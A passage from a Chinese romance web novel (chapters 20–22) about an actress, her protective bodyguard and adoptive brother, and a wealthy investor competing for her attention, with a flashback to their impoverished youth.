黎宴喝完姜汤,又觉得整个人都活过来了。再下车时,她听见片场那边传来一阵持久的欢呼,好奇地走了过去。
柏闻刚收拾完厨房,才从车上下来,正看见黎宴独自往片场走。他目光扫视了一圈,没看见程谦。
然后他看到了那几辆排成长队的餐车。
餐车上贴满了黎宴的个人海报,摆放食物的长桌顶上,一串横幅标语十分醒目。
——黎宴老师请《风暴眼》全组吃夜宵!
“柏队!”
方宁不知道从哪冒了出来,手里端着块青绿色的蛋糕,眼睛都在发光:“程总真是财大气粗啊!”
柏闻转过脸:“嗯?”
见他有点疑惑的样子,方宁压
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低声音,语气里满是八卦的兴奋。
“这些夜宵都是程总以宴姐的名义请的!整整七辆餐车,全组上下连临时工都有份!啧啧,宴姐真是魅力难挡,瞧这追人的架势……”
身旁的人,忽然变得低压无比。
方宁没察觉,还在掰着手指头数,一字一句无比清晰。
“我跟你说,宴姐的异性缘可不是一般的好。去年拍《双生缘》的时候,那个演男二的林铮,杀青那天直接送了999朵玫瑰到酒店。还有那个综艺,资方来的那个小开是飞行嘉宾,节目还没录完就要了宴姐微信,追了整整三个月!还有那个……”
方宁越说越起劲,完全没察觉柏闻的脸色逐渐不好看。偏偏她说够了,还举起手里那个蛋糕。
“柏队,我看你的微信头像是青梅诶,餐车那边的甜品刚好有这个口味的,你吃不吃?”
“不用,谢谢。”柏闻几乎立刻回答,语气冷淡,“我不喜欢。”
说完,他径直往片场中心走去,步伐又快又急。而方宁看着他的背影,满意地托住下巴,发出桀桀的笑声。
然而,就在柏闻走近的时候,黎宴和突然出现的程谦已经结束了对话,他只来得及听见一句尾巴。
“那就麻烦程总了。”
黎宴笑着说,转头看见柏闻过来,语气自然道:“你们先回去吧,不用等我,程总今晚送我。”
柏闻脚步顿住。
他看见程谦朝他礼节性地微微一笑,随即侧身为黎宴拉开车门。她轻轻颔首致谢,俯身上车,全程没有回头看过一眼。
柏闻站在原地,看着她坐进那辆不属于他的车里。车门关上,引擎很快发动,车灯大亮的瞬间,他插在口袋里的手,无声地攥紧了某个东西。
路灯从他头顶照下来,把他的影子拉得很长,孤零零地投在水泥地上。
良久,柏闻将手从口袋里抽出来,掌心握着一团被揉皱的纸片。他一只手便展开,上面是程谦潇洒的字迹。
——“To 黎宴:意外惊魂,聊表慰问。愿你如这束花一般,永远明媚无忧 - 程谦。”
柏闻盯着那行字看了很久。
然后,他将卡片重新捏成一团,经过垃圾桶时,看也不看丢进了里面。
不远处的房车旁,方宁慢悠悠地挖了一勺蛋糕送进嘴里,眯眼看向那辆驶离的奔驰车,又瞥了眼柏闻在夜色中挺拔的背影,轻轻啧了一声。
“今晚的风儿,甚是喧嚣啊。”
她摇头感慨,镜片后智慧的双眼早已看透一切。
“有人今晚怕是要睡不着喽。”
20.第 20 章
黎宴深夜才回酒店。
她刷卡开门,客厅里一片昏暗,只有房门常开的安保间里还亮着灯。里面的人听见动静,侧过脸投来一瞥,两人视线相接。
柏闻靠在桌边转着打火机,房间里的空调开得很足。黎宴想起刚才下车,她明明已经进了电梯,却又折返回停车场,走向角落里那辆黑色越野。
引擎盖还是温的。
她假装没看见柏闻额角的薄汗,随手把包放在玄关柜上,边换鞋边问:“这么晚了还不睡?”
“等外卖。”
黎宴疑惑抬眉,故意盯着他的眼睛问:“程总晚上请全组吃夜宵,七辆餐车呢,你没吃吗?”
柏闻错开视线:“当时不饿。”
黎宴弯起唇角没说话,从鞋凳起身往客厅里走。然而套房内的安静持续了不到两分钟,就在她坐进沙发时——
“你,吃过饭了吗?”
柏闻的声音从前厅传来,黎宴抬眼看去,他不知什么时候从安保间里走了出来,站在客厅与玄关交界的光影里。
黎宴扬起脸:“那你给我点饭了吗?”
她笑得眉眼弯弯,柏闻看着,喉结很轻地滚动了一下。
“点了。”
闻言,黎宴心里像被轻轻挠了一下,有股隐秘的甜意漫了上来。但她面上不显,玩起了手机,随意地应了一声。
“那就吃一口吧。”
她没再看他,只听见脚步声响起,他又回了安保间,顺手虚掩上了门。
大约二十分钟后,门铃响了。
柏闻去门口取餐,很快提着两个大纸袋回来,将里面的饭菜一样样摆上餐桌。黎宴慢悠悠晃过去,站在桌边看他挨个开盖。番茄罗氏虾,清炒时蔬,海参蒸蛋,玉米排骨汤,水果拼盘,鲜榨小甜水,每样她都很喜欢,也都为了保持身材而很久不沾了。
这些年心疼她减肥的人不少,但工作需要,她也没办法。只有柏闻是个例外,从小到大他都会坚决履行他的个人意志,将不允许她减肥这件事落到实处。
在黎宴旁观的间隙,柏闻已经打开了米饭盒盖,又掰开外卖筷子,习惯性将两端刮了刮才递过来。两人面对面落座,中间像隔着楚河汉界。她先吃了两口,随后用筷子戳了戳米饭,小声地抱怨了一句。
“这饭怎么这么难夹……”
柏闻正埋头吃饭,闻言动作没停,只从碗沿传来低低的一声:“几粒米当然难夹。”
黎宴听了不忿,较劲地又戳了几下,试图向他证明:“这总不是几粒了吧?也夹不住啊。”
柏闻终于抬眼,毫无波澜地朝她碗里一扫,简短评价道。
“嗯,十几粒。”
黎宴被他油盐不进的样子噎了一下,毫不客气甩了柄眼刀过去,决定换个话题找回场子。
“我的贺卡呢?”
她伸手问他要,后者夹菜的动作顿了一瞬,像是没听见,自顾自地吃饭。
黎宴没打算放过他,狡黠地扬起语调:“不然我让前台查一下早上的监控好了,看看到底是不是骑手搞丢了。”
柏闻被她步步紧逼,没抬头,嗓音沉闷:“可能掉电梯了,你不高兴扣钱就是了。”
“扣钱?”黎宴的眼睛倏地亮了,饶有兴趣地托起下巴,“说起来,你现在的公司这么有名,你一个月得这个数吧?”
她伸出几根手指晃了晃,柏闻扫了一眼,淡淡报了个数。
“哇,这么多?”黎宴故作惊喜地轻呼,随后恶魔低语。
“那就扣光好了。”
柏闻终于正视她,目光请问。
黎宴毫不退缩地与他对视,翘起嘴角一字一句:“程总的心意无价,懂吗?”
“……”
空气悄然凝固。
柏闻握着筷子的手微微凸起青筋,感觉下一秒那两根可怜的木棍就要折了。他盯了黎宴好一会儿,最后什么也没说,碗和筷子一起放下。
“我吃好了。”他站起身,“待会儿我来收拾。”
说完,他转身离开餐厅,大步朝安保间走去。咔哒一声,连门都关了。
黎宴终于不用再忍,无声地笑了起来,薄肩直抖。尽兴之后,她挑起一筷子菜送进嘴里,满意地咀嚼,内心得意洋洋。
小青蛙这口气,总算是出够了。
*
黎宴睡到第二天上午才起。
洗漱完毕后,她直接去了化妆台。等柏闻提着午餐从外面回来时,正看见她在那描眉画眼,专注得很。
柏闻没出声,静静地站在后方。
这是他很多年后第一次看她化妆,在这之前,他只记得她手忙脚乱的样子。
高三毕业晚会那年,班级选中她跳孔雀舞。同节目的女生都相约去化妆店,他也给了她一笔钱,她却悄悄把钱压回他的枕下。
“店里太贵了,奶奶不是还留了些东西吗,我练练就会了。”
于是,他陪着她练。闷热的傍晚,他从工地下班,给她带回半个冰西瓜。看着她对着那面塑料镜子,一笔一笔往脸上描,眉毛化成毛毛虫,眼影晕得乌青。她懊恼地洗掉重来,最后泄气地扑进他怀里。
“怎么会这么难啊……!”
他笑着安慰她,说不如去店里算了。但她不是轻言放弃的性格,经过半个月的苦练,硬是靠着奶奶留下的那些旧化妆品,自己折腾出了一个勉强能上台的妆容。
演出那晚,礼堂人声鼎沸,热得喘不过气。
距离她演出还有一会儿,他坐在观众席,看她站在候场区,一袭孔雀蓝的裙摆曳地,指尖粘着长长的银色甲套。她很紧张,时不时抿唇喝水。没过多久,她忽然提着裙子跑过来,穿越人群找到他
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。
道具指甲太长,她尴尬地拽了拽他的衣角。
“……哥,口红掉了,你帮帮我。”
这一瞬,某种本能立刻在他脑中拉响了警报。
他没想到她会提出这样的请求,他是哥哥,但也二十岁了,知道这个举动在男女之间有多暧昧。可她的眼神依赖而焦急,显得他这点迟疑是多么龌龊。他只能认命地想,算了,只要是她想要的,这就够了。
补妆用品都在他口袋里备着,但观众席人挤人,不少家长带来的孩子满场闹腾,实在不方便。他们一路跑到礼堂外的老榕树下,四周无人,路灯昏黄,光线从树叶缝隙漏下来,斑驳地投在他们身上。
“抬头。”他说。
她立刻仰起脸,但他个子太高了,这里的光线并不好。
他犹豫片刻才伸出手,轻轻捏住她的下巴,低头俯身,距离拉近的同时呼吸交缠。
“张嘴。”
他嗓音发紧,她依言照做。十七岁的她,脸上还带着少女的青涩与笨拙,皮肤白皙,笑起来时有两个浅浅的梨涡,美好又纯粹,像初夏枝头将熟未熟的青梅。
一掉进那双明亮的眼睛,他的心忽然就跳得快了一些,攥着口红的手紧了紧,深吸一口气,尽量让自己的声音听起来平稳。
“眼睛闭上。”
她乖乖闭上了眼睛。
他笨拙地旋开那管口红,膏体已经被闷热的夏夜焐得有些软烂,用量极不稳定。他用指腹沾了一点,轻轻涂在她的唇上。他的动作很轻很慢,指尖擦过她的唇瓣,触感柔软得不可思议。
突然,校园烟花炸开。
砰——
第一簇彩色烟花划破夜空,瞬间照亮她的脸庞。他在那骤然明亮的光里,看清她颤动的睫毛,看见自己指尖那抹艳俗的红,一点点在她年轻的唇上绽开。
她忽然睁开眼。
四目相对,烟花在她瞳孔里绽放出万千光点,绚丽灼人。她的呼吸近在咫尺,他费了极大功夫,最终将某种冲动狠狠砸回心底,一把将她拥进怀中。
“……毕业快乐。”
他在她耳边哑声说,呼吸滚烫。
“妹妹。”
……
记忆短暂闪回,柏闻的目光落向镜子。如今二十三岁的她手法娴熟,口红饱满艳丽,衬得她肤如白瓷,美丽得无可挑剔。与高三那些夏夜里,在镜子前笨拙鼓捣粉饼的少女,早已判若两人。
原来她真的长大了。
会褪去青涩,会凃正红色的口红,昂贵的香水替代了多年前的廉价香精,会变成让男人移不开视线的模样。
柏闻的目光长久地停在黎宴脸上,直到她检查完妆容和发型,正要起身时,他忽然警惕地意识到。
她今天没有行程。
所以呢?
此举何意?
21.第 21 章
十分钟后,黎宴从酒店电梯直下停车场。
她正看着手机里方宁发来的明日行程,刚一出门,脚步忽然顿住。
程谦站在他那辆奔驰旁,微笑着朝她抬手打了个招呼。
他今天穿得很休闲,浅蓝色的衬衫挽起袖子,鼻梁上夹着一副眼镜,依旧是那副温文尔雅的样子,做事的风格却截然相反。
他们今天的确有约,昨晚在车上敲定的,是关于一部新戏的合作意向。本来双方约定直接在饭店见面,没想到他招呼都不打一声亲自来了,实在我行我素。
但黎宴还是笑着上前:“程总?怎么还劳烦您亲自过来了。”
“劳烦谈不上。”程谦略走几步,“反正酒店离得近,正好顺路,想着不如一起过去。”
他说着,很绅士地拉开门,做了个请的手势,“上车吧。”
黎宴面上莞尔,但她其实带了车钥匙,却被程谦的出现打乱了计划。如果不顺势而为,驳了他的面子也不好。
她正要迈步,滴滴——
两声短促的电子音突然打破了停车场的沉寂,不远处,一辆黑色越野应声闪了两下车灯,黎宴与程谦同时回头。
身后电梯间里,柏闻不疾不徐地走了出来。他没看程谦,目光径直落在黎宴身上,几步走到她身边站定。
黎宴轻轻勾了下唇角。
她想起出门前,柏闻站在客厅,公事公办地问她今天是不是有什么新行程。她当时故意神秘地笑了笑,什么也没说,拎包出门,将他一个人留在了套房。
没想到他这么快就跟下来了。
程谦的目光在柏闻身上停留了两秒,随即转向黎宴:“今天是私人行程,底下的保镖也要跟吗?”
他意味不明地探究,黎宴还没开口,柏闻已经说话了。
“最近孟甘治安不好,上个月西区发生了持枪杀人案,我的职责是确保黎小姐的安全。”
闻言,程谦不置可否地一笑,推了推眼镜:“柏队很敬业,但我们去市中心,那家店的安保很完善。”
他这话里隐隐有一丝敲打意味,柏闻的目光从他身上一掠而过。
“西区杀人案发生在银行,安保同样完善,防患于未然。”
话音落下,两个男人之间的气氛逐渐变得有些微妙。程谦脸上的笑容淡了些,微眯着眼打量柏闻。
黎宴站在中间,莫名感受到一股无形的角力。这两人的性格完全不同,程谦表相斯文,实则独断专行,说话做事总带着一股自上而下的优越感,很容易令人感到压迫。而柏闻……
黎宴余光瞥了他一眼,她太了解他了。
她的这位好哥哥,看似俊朗大方懂分寸,好脾气的程度都该给他颁个社区十大优秀邻居奖。而实际上,他性格强势又果决,拿定主意就说一不二,只会在友好社交时收敛身上那股锋利的侵略感。除非对方主动招惹,否则绝不显山露水。
此刻在她左边,程谦的奔驰已经拉开了门。而在右边,柏闻虽然没动,目光却像一条无形的绳索,牢牢系在她身上。
虽然事关戏约,但程谦此举目的何在,黎宴心知肚明,也要把握好尺度。
而她其实也不介意……给她那位将面具戴得无懈可击的哥哥,找一块具有威胁的试金石。
黎宴的目光在奔驰和越野之间转了一圈,最终落在了角落里那辆不起眼的白色轿车上。
那本来是租给方宁代步用的。
“我开那辆吧。”她忽然开口,理由找得毫无破绽。
“本来今天就要还车,不如直接开过去好了。”
说完,她也不看两个男人的反应,径直朝白色轿车走去。柏闻和程谦同时一怔,目光追着她的背影。黎宴拉开车门进入驾驶座,随后降下车窗,朝两人招手微笑。
“大家今天……不如都自力更生?”
程谦率先反应过来。
他几乎在黎宴话音落下的瞬间便将自己的车门一关,大步流星走向白色轿车,目标十分明确,伸手去拉副驾驶的门。
另一只骨节分明的手按在了门上。
柏闻是在同一时间行动的,高大的身形介入程谦与车门之间,将他挡开了半步,甚至朝他略一颔首以示礼貌,按在车门上的手却纹丝不动。
“程总是贵客。”他声音平静,“后排请。”
程谦动作顿住,抬眼与柏闻对视了几秒,黎宴在车内静观不动。停车场的顶灯在程谦的镜片上反射出一点冷光,柏闻居高临下地站着,眸底晦暗深沉。双方的视线在空气中短暂交锋,较量得心照不宣。
片刻,程谦笑了。
虽然笑意不达眼底,但他还是松开了手,十分自然地转向后座,拉开了车门。
“客气。”他情绪不辨,弯身坐了进去。
柏闻按在车门上的手这才下滑,扣住副驾驶的门把。
“柏队。”
后座传来程谦平稳的声线,柏闻侧过脸。
“资方对后续安保的工作有些想法,路上聊聊?”
他抬手示意身旁的空位,柏闻扬起眉峰,嘴角甚至挑了一下。
“好。”
他答应得干脆,松开门把绕到另一侧,俯身坐进后排。
于是,这辆紧凑型轿车里,忽然塞进了两个男人,空间瞬间变得逼仄。
黎宴从后视镜里看了一眼。
柏闻身高近一米九,一双长腿不得不分开才能放下。程谦也不轻松,膝盖已经顶住前座的椅背。两人的肩膀不可避免地挨在一起,又都默契地往各自车窗偏了偏。硬是在本就不宽裕的后排,空出一条井水不犯河水的界限。
黎宴万万没想到事情会演变成这个局面,她抿紧嘴角,很有素质地忍住了笑,默默发动汽车。
车内起初一片寂静。
直到驶入城市主路,程谦率先打破沉默,
“黎宴,我记得你是成渝人?”
黎宴专注路况,应了一声:“嗯。”
程谦继续闲聊:“成渝是个好地方,前年我去过一次,那边普遍吃辣,你应该也喜欢吧?”
前方突然有车加塞,黎宴来不及答,后排便传来柏闻的声音。
“她不喜欢。”
柏闻语气平静,手搭在窗沿上,目光落向稍纵即逝的街景。
程谦用余光扫他:“是吗?”
柏闻头也不回:“黎小姐喜欢甜口。”
闻言,黎宴握着方向盘的手悄然收紧,程谦却笑得意味深长:“难怪之前资方评审时,贵公司在深度服务和客户粘性这两项上评价颇高,想来是柏队这样的骨干功不可没。”
柏闻没理会他的暗讽,嗓音不咸不淡:“程总说笑了,公司有严格的职业规范,我的职责仅限于确保客户安全。”
程谦听完,反倒饶有兴趣地抬眉:“是吗?我看柏队对雇主的生活习惯了解得这么细致,还以为是贵公司优秀的企业文
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化。不过柏队一表人才,做事又稳重周到,应该很受女客户信赖?”
看似随口一问,柏闻却立刻察觉到后视镜上多了一道目光。
他冷淡笑了下,顶着那目光开口。
“提前了解客户是工作本分,至于黎小姐的喜好,稍微有心的话,上个网就能搜到。”
程谦沉默了几秒。
黎宴在前面装聋作哑地开车,嘴角不自觉扬起几分。作为男人的某种本能,程谦意识到想和黎宴搭话并不会那么容易。很快,他忽然换了个话题。
“柏队在孟甘待了多久?”
“五年。”
“哦?”程谦指尖轻轻敲了敲窗沿,“那柏队应该对这边很熟了,不知道工作之余,有什么兴趣爱好?”
黎宴在前面悄悄竖起耳朵。
柏闻语气平淡:“没什么特别的,偶尔打拳,或者去靶场。”
“靶场?”程谦似乎来了兴趣,“你玩枪?”
“嗯。”柏闻应了一声,在这个由程谦挑起的话题上,主动问了一句:“看来程总也玩,玩得不错?”
程谦看着窗外飞掠的人群:“在美国读书的时候,和朋友在靶场随便练过一段时间。”他淡淡补充。
“埃尔曼稳定在90分吧。”
黎宴在前座旁听两人的对话,她虽然不玩枪,但来孟甘拍警匪戏前还是了解过一些相关知识,知道埃尔曼测试的含金量。十米距离,限时击发,环数密集度要求极高,业余爱好者能打到70分及格线的都不多。稳定90分就意味着在实战距离内,程谦能够快速且精准地将子弹打进人的胸口,枪枪致命。
如果换算成篮球,大概就是半场投篮,十中七八的水平。
这不是玩票,而是需要一定的天赋,以及经过相当系统的训练才能达到的成绩,程谦还是太谦虚了。
黎宴从后视镜里瞥向柏闻,想看看他什么反应,私心又不想让他输。
然而柏闻没什么表情,只是很淡地点了下头:“很优秀的成绩。”
“还行吧。”程谦推了下眼镜,目光转向柏闻,“柏队呢?玩得怎么样?”
柏闻虽然没有军旅背景,但毕竟就职于顶级安保公司,业务能力自是没得说。他的目光看着前方拥堵的车流,沉默了两秒,才吐出三个字。
“瓶颈期。”
这话说得含糊,听不出具体水平。
程谦嘴角的弧度加深了些,姿态放松,透着一股了然于胸的从容,旋即不疾不徐地开口。
“90分到95分的瓶颈,通常在于持枪者的指力控制。而95分到满分的瓶颈,则在于视觉焦点。这方面我倒是有些经验,不妨帮柏队分析一下?”
车内的空气仿佛暂停了流动。
黎宴蹙眉,程谦这种居高临下,施恩指点的态度她很熟悉。圈子里多的是这类人,用谦逊包装优越,将对方置于低位进行变相打压。她曾在许多场合被迫吞咽类似的滋味,也早已学会用微笑作为应对的万能公式。
但此刻,对象是柏闻。
“程…”
黎宴话没出口,令她没想到的是,程谦提了个问句,柏闻也回了个问句。
“程总对于突破视觉瓶颈也有研究?”
后视镜里,柏闻终于转过头,平静地迎上程谦的视线。
话音落下的那一刻,程谦脸上那抹游刃有余的笑容僵了一瞬,这才意识到柏闻用这句话杀死了比赛。
22.第 22 章
程谦敲击窗沿的动作停了下来,他看着柏闻,柏闻也看着他。
车内本就微妙的气氛再次加码,柏闻的目光里甚至带了点求知的礼貌笑意,程谦反倒无话可说。
黎宴没想到最后她还得替程谦找补,正思考体面而不失亲切的话术时,一辆摩托车突然从前方变道,距离极近,她只能猛地先踩刹车——
刺耳的摩擦声里,车身剧烈前冲又顿住。巨大的惯性下,程谦整个人狠狠向前栽去,额头险些撞上主驾驶的头枕。好在他反应够快稳住了身体,第一反应抬头急问:“没事吧黎宴?!”
话音未落,他就看见了眼前一幕。
主驾驶旁,柏闻不知何时已经探身越过,手掌稳稳托住了黎宴的下巴。他的手掌宽大,几乎能完全包裹住她的下半张脸,力道精准地控住了她前冲的势头,也减缓了她后仰磕到头的可能。而他却因动作太急,整片右肩重重撞上了车顶。
一瞬间的反应……
“她没事。”
柏闻替黎宴答,语气理所当然。他将手撤回,指尖不经意擦过黎宴敏感的耳垂,看得出是意外,两个人都微微一颤。
程谦尽收眼底。
他靠回椅背,整理了下并未凌乱的衬衫袖口:“没事就好。”
柏闻也坐了回去,手臂重新抱在胸前。所幸只是急刹,并没有造成车祸。黎宴定了定神,再次发动车辆,这才有机会询问两人的情况。
“你们没事吧?”
“没事。”
两个男人异口同声,互相扫了一眼,又各自扭头。沉默再次席卷车内,并且一路无声,直到黎宴将车停在市中心那家日料餐厅的门口。
下车时,程谦占据座位优势,先一步为黎宴拉开车门。她道了声谢,程谦转头,却见柏闻也从后排走了下来。
见他往餐厅里走,程谦双手插进西裤口袋,脸上挂着没温度的微笑:“柏队,车可以交给他们泊,你这是……”他开始斟酌用词。
“需要在别处安排就餐吗?”
意思很明显了。
黎宴同样好奇地看向柏闻,谁知他接过服务生递还的泊车牌,随手揣进口袋,淡定从容。
“我来消费。”
他径直朝店内走去,身影很快被门帘吞没。程谦不动声色吸了口气,转头时却见黎宴一脸微笑,便也重新挂上几分绅士的笑意。
“请。”
两人前后走进大厅,穿和服的服务生引他们穿过庭院。黎宴不着痕迹地环视周围,没发现柏闻的身影。这家日料餐厅有上下三层,不知道柏闻会在哪里用餐。
进入包厢落座后,服务生斟好茶水,程谦轻抿一口,对黎宴道。
“你的保镖很尽责,不过是不是盯得太紧了?”
他的言外之意是没什么边界感,黎宴装没听懂,笑了笑:“证明我钱没白花嘛。”
程谦觉得黎宴也是个说话很有意思的人,不置可否地点了下头:“这倒是。”
很快,服务生开始上菜,刺身的摆盘十分精致,说是艺术品也不为过。程谦用公筷夹了片金枪鱼大腹,轻轻放入黎宴面前的碟子。
“尝尝,他们家的鱼生是每天从海滨渔场直送的。”
“谢谢程总。”黎宴保持客气,夹起鱼片蘸了点酱油,能尝到肉质十分绵软鲜甜,确实不错。
两人边吃边聊,从新戏的合作意向开始,话题从日料食材转到新上映的电影,又聊到东南亚本土的艺术发展与人文风情。不得不说,程谦的知识面很广,风趣幽默,尤其会逗女孩子开心,时不时引得黎宴笑出声。
不过这些笑其实也真假参半,黎宴的注意力一直不太集中。
她偶尔会将目光投向包厢门口,耳朵也仔细留意着外面的动静。她没听见柏闻的声音,不知道他吃饭了没有,坐在哪个位置?这家店的消费很高,虽然她清楚他如今的收入不菲,可又担心他节俭惯了,会不会随便凑合……
“黎宴?”程谦的声音传来。
她回神:“抱歉,昨晚休息得不太好,刚才说到哪儿了?”
程谦看着她,目光里有些探究:“说到你去年拍的那部年代戏,我看过几集你的cut,哭戏很有感染力。”
黎宴听他谬赞,也没隐瞒:“其实那场戏拍了很多遍,导演一直说情绪不够痛,达不到直击心灵的效果。”
“哦?”程谦没想到背后还有这么一段,“但成片的效果很好,你最后是怎么找到感觉的?”
黎宴被这话问得一顿,想起片场那天发生的事,淡淡苦笑了句。
“当时被NG逼得没办法,只能去想生活中发生过的事情。最后想到的,大概就是我生命里最重要的那个人,第一次在我面前哭了。”
话音落下,隔壁包厢忽然传来杯子摔落的动静。
柏闻维持着去捡的姿势,整个人僵在原地。
程谦的声音自隔壁响起:“能造成这么深刻的情感体验,我猜你那时年龄不大?”
黎宴坦然承认:“对。”
可柏闻却听见她下一句说。
“我们那会儿都不大。”
一墙之隔,两人的记忆悄然无声地重合,再次被拉回到那条共同的轨道。
那场争吵发生在一个静谧的夜。
破旧的出租屋里,风扇吱呀作响,柏闻将被黎宴翻出来的退学同意书揉成团,扔进楼下垃圾场,声音平静得可怕。
“学校盖章的那一刻它就有了效力,我明天就去工地报到。”
黎宴想起刚才看见的那张纸,仿佛不认识上面的字,看向柏闻的目光几乎要迸出火星。
“不是说只是暂时休学吗?为什么是退学!这么大的事你问过我了吗?你一个人就决定了?!”
“不需要问你。”
柏闻转身去收拾摊在床上的那几本专业书,反正以后也用不到了,不如捆在一起卖废品,边收拾边说。
“爷爷下个月的手术费还差两万,特殊护工的费用,你的学费,我们的生活费,房租水电……宴宴,我们没得选。”
“怎么没得选?”黎宴站起来,嗓音拔高。
“我也可以退学!我成绩没你好,你都退学了,我退学也不可惜!我们一起去打工,来钱更快!”
“宴宴,听话。”柏闻转过身,扶着她的肩膀哄。
“你十六岁,才高二,人生还没开始。你一定要好好念书考大学,不一定要考很好的大学,只是这个社会对女孩子并不宽容,一定要有个学历,明白吗?”
“我不听!”黎宴梗着脖子,泪水在眼眶里打转,愣是倔强得没让它掉下来。
“凭什么就你一个人扛?我不是这个家的人吗?爷爷奶奶还有你,难道没照顾过我吗?你退学了我也要退,你不让我退学我就不去学校了……我绝食!你看着办吧!”
“黎宴!”柏闻第一次连名带姓地吼她。
“我再说一遍,你给我老老实实去上学!钱的事不用你操心!”
“我就不!”
那是他们十几年来第一次吵得这么凶,被厄难和贫穷压抑了太久,绝望和焦虑像找到出口的岩浆,喷薄而出后便灼伤了彼此。黎宴把书包砸在地上,柏闻气得肩膀直抖。最后她摔门冲进夜色,他在屋里站了很久很久,后来蹲下去,一本一本捡起她的书,重新装回了书包。
第二天一早,柏闻以为黎宴会犟,已经做好了二次冲突的准备。没想到她背着书包按时出门上学,只是一句话都不和他说。
他松了口气,以为她听话了。后来的几天,他比平时更早出门,接了三个零工,从每天早上六点忙到凌晨一点,经常只用冷馒头就把饭对付了。他盘算着省下来的钱,至少能保证黎宴的饮食。学校的饭菜便宜但她挑食,不喜欢的食物吃了就会生理性呕吐,时间长了怕她营养不良。
直到半个月后的早上,柏闻在工地加了一晚上班,拖着快要散架的身体回到出租屋。刚一躺下,黎宴的班主任就给他打来了电话。
“是黎宴的哥哥吗?黎宴的病怎么样了?太久不来学校,课业也是会跟不上的,我很担心她的情况……”
柏闻握着手机,耳边嗡嗡作响。
班主任后来说了什么,他完全没听进去,只说了句谢谢老师便挂了电话,立刻给黎宴打。
一遍,不接。
两遍,直接挂断。
三遍,关机。
柏闻在狭窄的出租屋里转了两圈,最后猛地抓起钥匙冲出门。他先跑去学校附近她常去的小书店,奶茶店,没有。他又沿着她放学回来的路线找,问街边摆摊的摊主,都说没看见。他想起片区内招兼职的那几家快餐店,一家一家找过去,得到的都是摇头。
天色一点点暗下来,晚高峰的车流喧嚣而至。柏闻站在十字路口,看着四面八方涌来的人潮,第一次感受到那种窒息的绝望。
宴宴去哪了?她身上没多少钱,能去哪里?会不会出事?
这时,一个可怕的念头闪过,她会不会去找她那个消失多年的妈妈?
这么多年,柏家人一直很少在黎宴面前提起她的生母,他也一样,所以至今不清楚黎宴对生母的感情如何。她已经走了吗?她到底在哪?
柏闻强迫自己冷静下来,重新梳理了一遍。宴宴倔,但不会做太出格的事。她说不让她退学,她就不去学校了……对!肯定和这个有关,可她到底会去哪里弄钱?
突然,柏闻脑子里闪过一个地方。前段时间他接她下晚自习,那张招工表就贴在电线杆上,她当时看过一眼。
柏闻的心被狠狠攥了一下,立刻拔腿就跑。
他是在黄昏时分找到那家小餐馆的。
巷子深处,油腻的霓虹灯招牌在暮色里亮起。他隔着满是油污的窗玻璃,一眼就看见了后厨里那个熟悉的身影。
黎宴系着脏兮兮的围裙,袖子卷到手肘,正埋在一座摇摇欲坠的碗盘小山后面。大水盆里泡沫横溢,她努力地刷洗、冲水、摞起,脸颊上还沾着一点泡沫,最爱惜的那双白鞋子踩在脏水里。
柏闻推门进去,后厨闷热的空气里混杂着还没处理的泔水味。身后的老板娘忙着算账,头也不抬地嚷嚷:“新来的!那什么宴,六号桌要上菜了,盘子洗快点!”
黎宴含糊地应了一声,手上动作更快。直到一个高大的影子笼罩下来,挡住了头顶摇晃的白炽灯泡光线。
黎宴先是看见那双熟悉的运动鞋,浑身一僵,慢慢抬起头。
四目相对。
一瞬间,她的脸上闪过惊慌,心虚,又立刻被一层带刺的倔强覆盖。她挺直脊背,一贯地扬起下巴,一副“你看见了,我就这样,你能拿我怎么办”的模样。她害怕柏闻又要和她吵架,甚至抢先开口:“怎么,你来抓我回去?我就不……”
她的话戛然而止。
因为柏闻并没有说话,也没有她想象中的愤怒,斥责。他就那样静静站着,那双总是沉稳或带着笑意的眼睛,此刻只是深深望着她,望进她用倔强藏起来的不安里。
这样的目光,反而让黎宴心头一坠,所有准备好的辩词与呛声,全部堵在了喉咙里,让她越发慌乱。
“……哥。”她的声音弱了下去,带着点对他态度的试探。
柏闻依旧不发一言,他的视线缓缓移向她泡得发白起皱的手指,扫过她脸上的污渍,落在她身上那件沾满油污的围裙上。他的喉结极其缓慢地滚动了一下,像是用尽全力压住了什么。
然后,黎宴看见,柏闻的眼眶一点点红了。
他没有发出任何声音,只是红着眼眶,目光不瞬地看着她。直到眼眶终于承受不住重量,泪水悄无声息地砸落下来。
一颗。
又一颗。
哥哥哭了。
黎宴的大脑一片空白,为了这个家,她所有尖锐的对抗,自以为的分担,赌气的坚持,在哥哥的眼泪面前,全部被击得粉碎。她见过柏闻累到极致的样子,见过他与人争执后紧握的拳头,见过他深夜对着账单沉默的背影,但她从未见过他哭。
从未。
黎宴手足无措地站在那里,手里还抓着一个滴水的盘子。她张了张嘴,想说什么,却发现喉咙被苦涩的硬块堵得严严实实。
“我……”她发出一个脆弱的单音节。
柏闻太瘦,用手背快速抹了一把眼睛。他深吸了一口气,声音嘶哑得厉害,却竭力维持着一点安抚的意味。
“……把围裙解了。”
他说得很慢,每一个字都像是用力从喉咙里挤出来的。
“跟哥哥回家。”
黎宴的眼泪就在这时毫无预兆地冲了出来,巨大的刺痛裹挟了她的心脏。她手一松,盘子哐当一声掉进水盆。她顾不上,手忙脚乱地去解身后围裙的带子,手却发抖,几次都解不开那个死结。
柏闻上前一步,默不作声帮她解开,然后把那件脏围裙从她身上脱下来,扔在一旁的杂物堆上。
他握住她又凉又湿的手腕,带着她转身离开,也不管老板在身后怎么叫嚷,头也不回地走出了餐馆,迈进黄昏微凉的风里。
自始至终,黎宴没有再犟一句嘴。
她像一只飘摇的风筝,乖顺而茫然地被他牵着走,脸颊上还有泪在淌,她也顾不上去擦。她的目光死死聚焦在柏闻的眼角,那里还是红的,他的脸上有泪痕,她的哥哥哭过了。
那一刻起,黎宴终于有些模糊地懂了。有些担子,不是抢着扛就叫分担。她以为的共患难,对她最亲近的人来说,或许是最不能承受之重。
从那以后,黎宴回了学校,再也没提过退学两个字。
“都不大的意思是……你还有兄弟姐妹?”
程谦很会抓重点,黎宴抿了口茶,轻飘飘带过:“都过去了。”
与此同时,柏闻拾起了那个杯子,不轻不重地攥在掌心。
他没想到黎宴会将这件事记得这么久,这么深刻。然而她越是这样,他心里负罪越重,
黎宴并不知道,当年他的确哭了,他本可以在她察觉前就转身,但他让她看见了。
他了解他的妹妹,这是唯一能劝动她的办法。
她是心软的妹妹,而他是卑鄙的哥哥。
他曾以为自己永远不会为做出的任何一个决定后悔,可他没想到这件事会让她这么痛。
如果再重来一次,他会选择藏好那份退学同意书,用休学的理由将她瞒好,瞒到瞒不下去的那天。
